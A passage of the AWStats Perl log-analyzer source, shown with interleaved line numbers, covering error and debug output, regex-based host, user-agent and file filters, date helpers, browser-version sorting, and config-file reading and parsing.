"If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n";
1322
 
                        print "${tagbr}\n";
1323
 
                }
1324
 
                else {
1325
 
                        print "${tagbr}${tagbold}Setup ("
1326
 
                          . ( $FileConfig ? "'" . $FileConfig . "'" : "Config" )
1327
 
                          . " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n";
1328
 
                }
1329
 
                print
1330
 
"Check config file, permissions and AWStats documentation (in 'docs' directory).\n";
1331
 
        }
1332
 
 
1333
 
        # Remove lock if not a lock message
1334
 
        if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); }
1335
 
        if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; }
1336
 
        exit 1;
1337
 
}
1338
 
 
1339
 
#------------------------------------------------------------------------------
1340
 
# Function:             Write a warning message
1341
 
# Parameters:   $message
1342
 
# Input:                $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput
1343
 
# Output:               None
1344
 
# Return:               None
1345
 
#------------------------------------------------------------------------------
1346
 
sub warning {
1347
 
        my $messagestring = shift;
1348
 
 
1349
 
        if ($Debug) { debug( "$messagestring", 1 ); }
1350
 
        if ($WarningMessages) {
1351
 
                if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
1352
 
                if ( !$HeaderHTMLSent )        { html_head(); }
1353
 
                if ( scalar keys %HTMLOutput ) {
1354
 
                        $messagestring =~ s/\n/\<br\>/g;
1355
 
                        print "$messagestring<br />\n";
1356
 
                }
1357
 
                else {
1358
 
                        print "$messagestring\n";
1359
 
                }
1360
 
        }
1361
 
}
1362
 
 
1363
 
#------------------------------------------------------------------------------
1364
 
# Function:     Write debug message and exit
1365
 
# Parameters:   $string $level
1366
 
# Input:        %HTMLOutput  $Debug=required level  $DEBUGFORCED=required level forced
1367
 
# Output:               None
1368
 
# Return:               None
1369
 
#------------------------------------------------------------------------------
1370
 
sub debug {
1371
 
        my $level = $_[1] || 1;
1372
 
 
1373
 
        if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
1374
 
                http_head();
1375
 
        }    # To send the HTTP header and see debug
1376
 
        if ( $level <= $DEBUGFORCED ) {
1377
 
                my $debugstring = $_[0];
1378
 
                if ( !$DebugResetDone ) {
1379
 
                        open( DEBUGFORCEDFILE, "debug.log" );
1380
 
                        close DEBUGFORCEDFILE;
1381
 
                        chmod 0666, "debug.log";
1382
 
                        $DebugResetDone = 1;
1383
 
                }
1384
 
                open( DEBUGFORCEDFILE, ">>debug.log" );
1385
 
                print DEBUGFORCEDFILE localtime(time)
1386
 
                  . " - $$ - DEBUG $level - $debugstring\n";
1387
 
                close DEBUGFORCEDFILE;
1388
 
        }
1389
 
        if ( $DebugMessages && $level <= $Debug ) {
1390
 
                my $debugstring = $_[0];
1391
 
                if ( scalar keys %HTMLOutput ) {
1392
 
                        $debugstring =~ s/^ /&nbsp;&nbsp; /;
1393
 
                        $debugstring .= "<br />";
1394
 
                }
1395
 
                print localtime(time) . " - DEBUG $level - $debugstring\n";
1396
 
        }
1397
 
}
1398
 
 
1399
 
#------------------------------------------------------------------------------
1400
 
# Function:     Optimize an array removing duplicate entries
1401
 
# Parameters:   @Array notcasesensitive=0|1
1402
 
# Input:        None
1403
 
# Output:               None
1404
 
# Return:               None
1405
 
#------------------------------------------------------------------------------
1406
 
sub OptimizeArray {
1407
 
        my $array = shift;
1408
 
        my @arrayunreg = map {
1409
 
                if (/\(\?[-\w]*:(.*)\)/) { $1 }
1410
 
        } @$array;
1411
 
        my $notcasesensitive = shift;
1412
 
        my $searchlist       = 0;
1413
 
        if ($Debug) {
1414
 
                debug( "OptimizeArray (notcasesensitive=$notcasesensitive)", 4 );
1415
 
        }
1416
 
        while ( $searchlist > -1 && @arrayunreg ) {
1417
 
                my $elemtoremove = -1;
1418
 
          OPTIMIZELOOP:
1419
 
                foreach my $i ( $searchlist .. ( scalar @arrayunreg ) - 1 ) {
1420
 
 
1421
 
                        # Search if $i elem is already treated by another elem
1422
 
                        foreach my $j ( 0 .. ( scalar @arrayunreg ) - 1 ) {
1423
 
                                if ( $i == $j ) { next; }
1424
 
                                my $parami =
1425
 
                                  $notcasesensitive ? lc( $arrayunreg[$i] ) : $arrayunreg[$i];
1426
 
                                my $paramj =
1427
 
                                  $notcasesensitive ? lc( $arrayunreg[$j] ) : $arrayunreg[$j];
1428
 
                                if ($Debug) {
1429
 
                                        debug( " Compare $i ($parami) to $j ($paramj)", 4 );
1430
 
                                }
1431
 
                                if ( index( $parami, $paramj ) > -1 ) {
1432
 
                                        if ($Debug) {
1433
 
                                                debug(
1434
 
" Elem $i ($arrayunreg[$i]) already treated with elem $j ($arrayunreg[$j])",
1435
 
                                                        4
1436
 
                                                );
1437
 
                                        }
1438
 
                                        $elemtoremove = $i;
1439
 
                                        last OPTIMIZELOOP;
1440
 
                                }
1441
 
                        }
1442
 
                }
1443
 
                if ( $elemtoremove > -1 ) {
1444
 
                        if ($Debug) {
1445
 
                                debug(
1446
 
                                        " Remove elem $elemtoremove - $arrayunreg[$elemtoremove]",
1447
 
                                        4 );
1448
 
                        }
1449
 
                        splice @arrayunreg, $elemtoremove, 1;
1450
 
                        $searchlist = $elemtoremove;
1451
 
                }
1452
 
                else {
1453
 
                        $searchlist = -1;
1454
 
                }
1455
 
        }
1456
 
        if ($notcasesensitive) {
1457
 
                return map { qr/$_/i } @arrayunreg;
1458
 
        }
1459
 
        return map { qr/$_/ } @arrayunreg;
1460
 
}
1461
 
 
1462
 
#------------------------------------------------------------------------------
1463
 
# Function:     Check if parameter is in SkipDNSLookupFor array
1464
 
# Parameters:   ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array)
1465
 
# Return:               0 Not found, 1 Found
1466
 
#------------------------------------------------------------------------------
1467
 
sub SkipDNSLookup {
1468
 
        foreach (@SkipDNSLookupFor) {
1469
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1470
 
        }
1471
 
        0;    # Not in @SkipDNSLookupFor
1472
 
}
1473
 
 
1474
 
#------------------------------------------------------------------------------
1475
 
# Function:     Check if parameter is in SkipHosts array
1476
 
# Parameters:   host @SkipHosts (a NOT case sensitive precompiled regex array)
1477
 
# Return:               0 Not found, 1 Found
1478
 
#------------------------------------------------------------------------------
1479
 
sub SkipHost {
1480
 
        foreach (@SkipHosts) {
1481
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1482
 
        }
1483
 
        0;    # Not in @SkipHosts
1484
 
}
1485
 
 
1486
 
#------------------------------------------------------------------------------
1487
 
# Function:     Check if parameter is in SkipReferrers array
1488
 
# Parameters:   host @SkipReferrers (a NOT case sensitive precompiled regex array)
1489
 
# Return:               0 Not found, 1 Found
1490
 
#------------------------------------------------------------------------------
1491
 
sub SkipReferrer {
1492
 
        foreach (@SkipReferrers) {
1493
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1494
 
        }
1495
 
        0;    # Not in @SkipReferrers
1496
 
}
1497
 
 
1498
 
#------------------------------------------------------------------------------
1499
 
# Function:     Check if parameter is in SkipUserAgents array
1500
 
# Parameters:   useragent @SkipUserAgents (a NOT case sensitive precompiled regex array)
1501
 
# Return:               0 Not found, 1 Found
1502
 
#------------------------------------------------------------------------------
1503
 
sub SkipUserAgent {
1504
 
        foreach (@SkipUserAgents) {
1505
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1506
 
        }
1507
 
        0;    # Not in @SkipUserAgent
1508
 
}
1509
 
 
1510
 
#------------------------------------------------------------------------------
1511
 
# Function:     Check if parameter is in SkipFiles array
1512
 
# Parameters:   url @SkipFiles (a NOT case sensitive precompiled regex array)
1513
 
# Return:               0 Not found, 1 Found
1514
 
#------------------------------------------------------------------------------
1515
 
sub SkipFile {
1516
 
        foreach (@SkipFiles) {
1517
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1518
 
        }
1519
 
        0;    # Not in @SkipFiles
1520
 
}
1521
 
 
1522
 
#------------------------------------------------------------------------------
1523
 
# Function:     Check if parameter is in OnlyHosts array
1524
 
# Parameters:   host @OnlyHosts (a NOT case sensitive precompiled regex array)
1525
 
# Return:               0 Not found, 1 Found
1526
 
#------------------------------------------------------------------------------
1527
 
sub OnlyHost {
1528
 
        foreach (@OnlyHosts) {
1529
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1530
 
        }
1531
 
        0;    # Not in @OnlyHosts
1532
 
}
1533
 
 
1534
 
#------------------------------------------------------------------------------
1535
 
# Function:     Check if parameter is in OnlyUsers array
1536
 
# Parameters:   host @OnlyUsers (a NOT case sensitive precompiled regex array)
1537
 
# Return:               0 Not found, 1 Found
1538
 
#------------------------------------------------------------------------------
1539
 
sub OnlyUser {
1540
 
        foreach (@OnlyUsers) {
1541
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1542
 
        }
1543
 
        0;    # Not in @OnlyUsers
1544
 
}
1545
 
 
1546
 
#------------------------------------------------------------------------------
1547
 
# Function:     Check if parameter is in OnlyUserAgents array
1548
 
# Parameters:   useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array)
1549
 
# Return:               0 Not found, 1 Found
1550
 
#------------------------------------------------------------------------------
1551
 
sub OnlyUserAgent {
1552
 
        foreach (@OnlyUserAgents) {
1553
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1554
 
        }
1555
 
        0;    # Not in @OnlyUserAgents
1556
 
}
1557
 
 
1558
 
#------------------------------------------------------------------------------
1559
 
# Function:     Check if parameter is in NotPageFiles array
1560
 
# Parameters:   url @NotPageFiles (a NOT case sensitive precompiled regex array)
1561
 
# Return:               0 Not found, 1 Found
1562
 
#------------------------------------------------------------------------------
1563
 
sub NotPageFile {
1564
 
        foreach (@NotPageFiles) {
1565
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1566
 
        }
1567
 
        0;    # Not in @NotPageFiles
1568
 
}
1569
 
 
1570
 
#------------------------------------------------------------------------------
1571
 
# Function:     Check if parameter is in OnlyFiles array
1572
 
# Parameters:   url @OnlyFiles (a NOT case sensitive precompiled regex array)
1573
 
# Return:               0 Not found, 1 Found
1574
 
#------------------------------------------------------------------------------
1575
 
sub OnlyFile {
1576
 
        foreach (@OnlyFiles) {
1577
 
                if ( $_[0] =~ /$_/ ) { return 1; }
1578
 
        }
1579
 
        0;    # Not in @OnlyFiles
1580
 
}
1581
 
 
1582
 
#------------------------------------------------------------------------------
1583
 
# Function:     Return day of week of a day
1584
 
# Parameters:   $day $month $year
1585
 
# Return:               0-6
1586
 
#------------------------------------------------------------------------------
1587
 
sub DayOfWeek {
1588
 
        my ( $day, $month, $year ) = @_;
1589
 
        if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); }
1590
 
        if ( $month < 3 ) { $month += 10; $year--; }
1591
 
        else { $month -= 2; }
1592
 
        my $cent = sprintf( "%1i", ( $year / 100 ) );
1593
 
        my $y    = ( $year % 100 );
1594
 
        my $dw   = (
1595
 
                sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y +
1596
 
                  sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) -
1597
 
                  ( 2 * $cent ) ) % 7;
1598
 
        $dw += 7 if ( $dw < 0 );
1599
 
        if ($Debug) { debug( " is $dw", 4 ); }
1600
 
        return $dw;
1601
 
}
1602
 
 
1603
 
#------------------------------------------------------------------------------
1604
 
# Function:     Return 1 if a date exists
1605
 
# Parameters:   $day $month $year
1606
 
# Return:               1 if date exists else 0
1607
 
#------------------------------------------------------------------------------
1608
 
sub DateIsValid {
1609
 
        my ( $day, $month, $year ) = @_;
1610
 
        if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); }
1611
 
        if ( $day < 1 )  { return 0; }
1612
 
        if ( $day > 31 ) { return 0; }
1613
 
        if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) {
1614
 
                if ( $day > 30 ) { return 0; }
1615
 
        }
1616
 
        elsif ( $month == 2 ) {
1617
 
                my $leapyear = ( $year % 4 == 0 ? 1 : 0 );   # A leap year every 4 years
1618
 
                if ( $year % 100 == 0 && $year % 400 != 0 ) {
1619
 
                        $leapyear = 0;
1620
 
                }    # Except if year is 100x and not 400x
1621
 
                if ( $day > ( 28 + $leapyear ) ) { return 0; }
1622
 
        }
1623
 
        return 1;
1624
 
}
1625
 
 
1626
 
#------------------------------------------------------------------------------
1627
 
# Function:     Return string of visit duration
1628
 
# Parameters:   $starttime $endtime
1629
 
# Input:        None
1630
 
# Output:               None
1631
 
# Return:               A string that identify the visit duration range
1632
 
#------------------------------------------------------------------------------
1633
 
sub GetSessionRange {
1634
 
        my $starttime = my $endtime;
1635
 
        if ( shift =~ /$regdate/o ) {
1636
 
                $starttime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 );
1637
 
        }
1638
 
        if ( shift =~ /$regdate/o ) {
1639
 
                $endtime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 );
1640
 
        }
1641
 
        my $delay = $endtime - $starttime;
1642
 
        if ($Debug) {
1643
 
                debug( "GetSessionRange $endtime - $starttime = $delay", 4 );
1644
 
        }
1645
 
        if ( $delay <= 30 )   { return $SessionsRange[0]; }
1646
 
        if ( $delay <= 120 )  { return $SessionsRange[1]; }
1647
 
        if ( $delay <= 300 )  { return $SessionsRange[2]; }
1648
 
        if ( $delay <= 900 )  { return $SessionsRange[3]; }
1649
 
        if ( $delay <= 1800 ) { return $SessionsRange[4]; }
1650
 
        if ( $delay <= 3600 ) { return $SessionsRange[5]; }
1651
 
        return $SessionsRange[6];
1652
 
}
1653
 
 
1654
 
#------------------------------------------------------------------------------
1655
 
# Function:     Compare two browsers version
1656
 
# Parameters:   $a
1657
 
# Input:        None
1658
 
# Output:               None
1659
 
# Return:               -1, 0, 1
1660
 
#------------------------------------------------------------------------------
1661
 
sub SortBrowsers {
1662
 
        my $a_family = $a;
1663
 
        my @a_ver    = ();
1664
 
        foreach my $family ( keys %BrowsersFamily ) {
1665
 
                if ( $a =~ /^$family/i ) {
1666
 
                        $a =~ m/^(\D+)([\d\.]+)?$/;
1667
 
                        $a_family = $1;
1668
 
                        @a_ver = split( /\./, $2 );
1669
 
                }
1670
 
        }
1671
 
        my $b_family = $b;
1672
 
        my @b_ver    = ();
1673
 
        foreach my $family ( keys %BrowsersFamily ) {
1674
 
                if ( $b =~ /^$family/i ) {
1675
 
                        $b =~ m/^(\D+)([\d\.]+)?$/;
1676
 
                        $b_family = $1;
1677
 
                        @b_ver = split( /\./, $2 );
1678
 
                }
1679
 
        }
1680
 
 
1681
 
        my $compare = 0;
1682
 
        my $done    = 0;
1683
 
 
1684
 
        $compare = $a_family cmp $b_family;
1685
 
        if ( $compare != 0 ) {
1686
 
                return $compare;
1687
 
        }
1688
 
 
1689
 
        while ( !$done ) {
1690
 
                my $a_num = shift @a_ver || 0;
1691
 
                my $b_num = shift @b_ver || 0;
1692
 
 
1693
 
                $compare = $a_num <=> $b_num;
1694
 
                if ( $compare != 0
1695
 
                        || ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) )
1696
 
                {
1697
 
                        $done = 1;
1698
 
                }
1699
 
        }
1700
 
 
1701
 
        return $compare;
1702
 
}
1703
 
 
1704
 
#------------------------------------------------------------------------------
1705
 
# Function:     Read config file
1706
 
# Parameters:   None or configdir to scan
1707
 
# Input:        $DIR $PROG $SiteConfig
1708
 
# Output:               Global variables
1709
 
# Return:               -
1710
 
#------------------------------------------------------------------------------
1711
 
sub Read_Config {
1712
 
 
1713
 
        # Check config file in common possible directories :
1714
 
        # Windows :                                             "$DIR" (same dir than awstats.pl)
1715
 
        # Standard, Mandrake and Debian package :       "/etc/awstats"
1716
 
        # Other possible directories :                          "/usr/local/etc/awstats", "/etc"
1717
 
        # FHS standard, Suse package :                          "/etc/opt/awstats"
1718
 
        my $configdir         = shift;
1719
 
        my @PossibleConfigDir = ();
1720
 
 
1721
 
        if ($configdir) {
1722
 
                # If from CGI, overwriting of configdir is only possible if AWSTATS_ENABLE_CONFIG_DIR defined
1723
 
                if ($ENV{'GATEWAY_INTERFACE'} && ! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"}) {
1724
 
                        error("Sorry, to allow overwriting of configdir parameter from an AWStats CGI usage, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to 1");
1725
 
                }
1726
 
                else {
1727
 
                        @PossibleConfigDir = ("$configdir");
1728
 
                }
1729
 
        }
1730
 
        else {
1731
 
                @PossibleConfigDir = (
1732
 
                        "$DIR",                   "/etc/awstats",
1733
 
                        "/usr/local/etc/awstats", "/etc",
1734
 
                        "/etc/opt/awstats"
1735
 
                );
1736
 
        }
1737
 
 
1738
 
        # Open config file
1739
 
        $FileConfig = $FileSuffix = '';
1740
 
        foreach (@PossibleConfigDir) {
1741
 
                my $searchdir = $_;
1742
 
                if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; }
1743
 
                if ( open( CONFIG, "$searchdir$PROG.$SiteConfig.conf" ) ) {
1744
 
                        $FileConfig = "$searchdir$PROG.$SiteConfig.conf";
1745
 
                        $FileSuffix = ".$SiteConfig";
1746
 
                        last;
1747
 
                }
1748
 
                if ( open( CONFIG, "$searchdir$PROG.conf" ) ) {
1749
 
                        $FileConfig = "$searchdir$PROG.conf";
1750
 
                        $FileSuffix = '';
1751
 
                        last;
1752
 
                }
1753
 
        }
1754
 
        if ( !$FileConfig ) {
1755
 
                error(
1756
 
"Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\" after searching in path \""
1757
 
                          . join( ',', @PossibleConfigDir )
1758
 
                          . "\": $!" );
1759
 
        }
1760
 
 
1761
 
        # Analyze config file content and close it
1762
 
        &Parse_Config( *CONFIG, 1, $FileConfig );
1763
 
        close CONFIG;
1764
 
 
1765
 
        # If parameter NotPageList not found, init for backward compatibility
1766
 
        if ( !$FoundNotPageList ) {
1767
 
                %NotPageList = (
1768
 
                        'css'   => 1,
1769
 
                        'js'    => 1,
1770
 
                        'class' => 1,
1771
 
                        'gif'   => 1,
1772
 
                        'jpg'   => 1,
1773
 
                        'jpeg'  => 1,
1774
 
                        'png'   => 1,
1775
 
                        'bmp'   => 1,
1776
 
                        'ico'   => 1,
1777
 
                        'swf'   => 1
1778
 
                );
1779
 
        }
1780
 
 
1781
 
        # If parameter ValidHTTPCodes empty, init for backward compatibility
1782
 
        if ( !scalar keys %ValidHTTPCodes ) {
1783
 
                $ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1;
1784
 
        }
1785
 
 
1786
 
        # If parameter ValidSMTPCodes empty, init for backward compatibility
1787
 
        if ( !scalar keys %ValidSMTPCodes ) {
1788
 
                $ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1;
1789
 
        }
1790
 
}
1791
 
 
1792
 
#------------------------------------------------------------------------------
1793
 
# Function:     Parse content of a config file
1794
 
# Parameters:   opened file handle, depth level, file name
1795
 
# Input:        -
1796
 
# Output:               Global variables
1797
 
# Return:               -
1798
 
#------------------------------------------------------------------------------
1799
 
sub Parse_Config {
1800
 
        my ($confighandle) = $_[0];
1801
 
        my $level          = $_[1];
1802
 
        my $configFile     = $_[2];
1803
 
        my $versionnum     = 0;
1804
 
        my $conflinenb     = 0;
1805
 
 
1806
 
        if ( $level > 10 ) {
1807
 
                error(
1808
 
"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."
1809
 
                );
1810
 
        }
1811
 
 
1812
 
        while (<$confighandle>) {
1813
 
                chomp $_;
1814
 
                s/\r//;
1815
 
                $conflinenb++;
1816
 
 
1817
 
                # Extract version from first line
1818
 
                if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) {
1819
 
                        $versionnum = ( $1 * 1000 ) + $2;
1820
 
 
1821
 
                        #if ($Debug) { debug(" Configure file version is $versionnum",1); }
1822
 
                        next;
1823
 
                }
1824
 
 
1825
 
                if ( $_ =~ /^\s*$/ ) { next; }
1826
 
 
1827
 
                # Check includes
1828
 
                if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ )
1829
 
                {    # #include kept for backward compatibility
1830
 
                        my $includeFile = $1;
1831
 
 
1832
 
                        # Expand __var__ by values
1833
 
                        while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
1834
 
                                my $var = $1;
1835
 
                                $includeFile =~ s/__${var}__/$ENV{$var}/g;
1836
 
                        }
1837
 
                        if ($Debug) { debug( "Found an include : $includeFile", 2 ); }
1838
 
                        if ( $includeFile !~ /^[\\\/]/ ) {
1839
 
 
1840
 
                                # Correct relative include files
1841
 
                                if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) {
1842
 
                                        $includeFile = "$1$includeFile";
1843
 
                                }
1844
 
                        }
1845
 
                        if ( $level > 1 && $^V lt v5.6.0 ) {
1846
 
                                warning(
1847
 
"Warning: Perl versions before 5.6 cannot handle nested includes"
1848
 
                                );
1849
 
                                next;
1850
 
                        }
1851
 
                        if ( open( CONFIG_INCLUDE, $includeFile ) ) {
1852
 
                                &Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile );
1853
 
                                close(CONFIG_INCLUDE);
1854
 
                        }
1855
 
                        else {
1856
 
                                error("Could not open include file: $includeFile");
1857
 
                        }
1858
 
                        next;
1859
 
                }
1860
 
 
1861
 
                # Remove comments
1862
 
                if ( $_ =~ /^\s*#/ ) { next; }
1863
 
                $_ =~ s/\s#.*$//;
1864
 
 
1865
 
                # Extract param and value
1866
 
                my ( $param, $value ) = split( /=/, $_, 2 );
1867
 
                $param =~ s/^\s+//;
1868
 
                $param =~ s/\s+$//;
1869
 
 
1870
 
                # If not a param=value, try with next line
1871
 
                if ( !$param ) {
1872
 
                        warning(
1873
 
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
1874
 
                        );
1875
 
                        next;
1876
 
                }
1877
 
                if ( !defined $value ) {
1878
 
                        warning(
1879
 
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
1880
 
                        );
1881
 
                        next;
1882
 
                }
1883
 
 
1884
 
                if ($value) {
1885
 
                        $value =~ s/^\s+//;
1886
 
                        $value =~ s/\s+$//;
1887
 
                        $value =~ s/^\"//;
1888
 
                        $value =~ s/\";?$//;
1889
 
 
1890
 
                        # Replace __MONENV__ with value of environnement variable MONENV
1891
 
                        # Must be able to replace __VAR_1____VAR_2__
1892
 
                        while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
1893
 
                                my $var = $1;
1894
 
                                $value =~ s/__${var}__/$ENV{$var}/g;
1895
 
                        }
1896
 
                }
1897
 
 
1898
 
                # Initialize parameter for (param,value)
1899
 
                if ( $param =~ /^LogFile/ ) {
1900
 
                        if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; }
1901
 
                        next;
1902
 
                }
1903
 
                if ( $param =~ /^DirIcons/ ) {
1904
 
                        if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; }
1905
 
                        next;
1906
 
                }
1907
 
                if ( $param =~ /^SiteDomain/ ) {
1908
 
 
1909
 
                        # No regex test as SiteDomain is always exact value
1910
 
                        $SiteDomain = $value;
1911
 
                        next;
1912
 
                }
1913
 
                if ( $param =~ /^HostAliases/ ) {
1914
 
                        @HostAliases = ();
1915
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
1916
 
                                if ( $elem =~ s/^\@// ) {    # If list of hostaliases in a file
1917
 
                                        open( DATAFILE, "<$elem" )
1918
 
                                          || error(
1919
 
"Failed to open file '$elem' declared in HostAliases parameter"
1920
 
                                          );
1921
 
                                        my @val = map( /^(.*)$/i, <DATAFILE> );
1922
 
                                        push @HostAliases, map { qr/^$_$/i } @val;
1923
 
                                        close(DATAFILE);
1924
 
                                }
1925
 
                                else {
1926
 
                                        if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1927
 
                                        else { $elem = '^' . quotemeta($elem) . '$'; }
1928
 
                                        if ($elem) { push @HostAliases, qr/$elem/i; }
1929
 
                                }
1930
 
                        }
1931
 
                        next;
1932
 
                }
1933
 
 
1934
 
                # Special optional setup params
1935
 
                if ( $param =~ /^SkipDNSLookupFor/ ) {
1936
 
                        @SkipDNSLookupFor = ();
1937
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
1938
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1939
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
1940
 
                                if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; }
1941
 
                        }
1942
 
                        next;
1943
 
                }
1944
 
                if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) {
1945
 
                        @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
1946
 
                        foreach ( split( /\s+/, $value ) ) {
1947
 
                                push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_;
1948
 
                        }
1949
 
                        next;
1950
 
                }
1951
 
                if ( $param =~ /^DefaultFile/ ) {
1952
 
                        @DefaultFile = ();
1953
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
1954
 
 
1955
 
                                # No REGEX for this option
1956
 
                                #if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1957
 
                                #else { $elem='^'.quotemeta($elem).'$'; }
1958
 
                                if ($elem) { push @DefaultFile, $elem; }
1959
 
                        }
1960
 
                        next;
1961
 
                }
1962
 
                if ( $param =~ /^SkipHosts/ ) {
1963
 
                        @SkipHosts = ();
1964
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
1965
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1966
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
1967
 
                                if ($elem) { push @SkipHosts, qr/$elem/i; }
1968
 
                        }
1969
 
                        next;
1970
 
                }
1971
 
                if ( $param =~ /^SkipReferrersBlackList/ && $value ) {
1972
 
                        open( BLACKLIST, "<$value" )
1973
 
                          || die "Failed to open blacklist: $!\n";
1974
 
                        while (<BLACKLIST>) {
1975
 
                                chomp;
1976
 
                                my $elem = $_;
1977
 
                                $elem =~ s/ //;
1978
 
                                $elem =~ s/\#.*//;
1979
 
                                if ($elem) { push @SkipReferrers, qr/$elem/i; }
1980
 
                        }
1981
 
                        next;
1982
 
                        close(BLACKLIST);
1983
 
                }
1984
 
                if ( $param =~ /^SkipUserAgents/ ) {
1985
 
                        @SkipUserAgents = ();
1986
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
1987
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1988
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
1989
 
                                if ($elem) { push @SkipUserAgents, qr/$elem/i; }
1990
 
                        }
1991
 
                        next;
1992
 
                }
1993
 
                if ( $param =~ /^SkipFiles/ ) {
1994
 
                        @SkipFiles = ();
1995
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
1996
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1997
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
1998
 
                                if ($elem) { push @SkipFiles, qr/$elem/i; }
1999
 
                        }
2000
 
                        next;
2001
 
                }
2002
 
                if ( $param =~ /^OnlyHosts/ ) {
2003
 
                        @OnlyHosts = ();
2004
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
2005
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2006
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
2007
 
                                if ($elem) { push @OnlyHosts, qr/$elem/i; }
2008
 
                        }
2009
 
                        next;
2010
 
                }
2011
 
                if ( $param =~ /^OnlyUsers/ ) {
2012
 
                        @OnlyUsers = ();
2013
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
2014
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2015
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
2016
 
                                if ($elem) { push @OnlyUsers, qr/$elem/i; }
2017
 
                        }
2018
 
                        next;
2019
 
                }
2020
 
                if ( $param =~ /^OnlyUserAgents/ ) {
2021
 
                        @OnlyUserAgents = ();
2022
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
2023
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2024
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
2025
 
                                if ($elem) { push @OnlyUserAgents, qr/$elem/i; }
2026
 
                        }
2027
 
                        next;
2028
 
                }
2029
 
                if ( $param =~ /^OnlyFiles/ ) {
2030
 
                        @OnlyFiles = ();
2031
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
2032
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2033
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
2034
 
                                if ($elem) { push @OnlyFiles, qr/$elem/i; }
2035
 
                        }
2036
 
                        next;
2037
 
                }
2038
 
                if ( $param =~ /^NotPageFiles/ ) {
2039
 
                        @NotPageFiles = ();
2040
 
                        foreach my $elem ( split( /\s+/, $value ) ) {
2041
 
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2042
 
                                else { $elem = '^' . quotemeta($elem) . '$'; }
2043
 
                                if ($elem) { push @NotPageFiles, qr/$elem/i; }
2044
 
                        }
2045
 
                        next;
2046
 
                }
2047
 
                if ( $param =~ /^NotPageList/ ) {
2048
 
                        %NotPageList = ();
2049
 
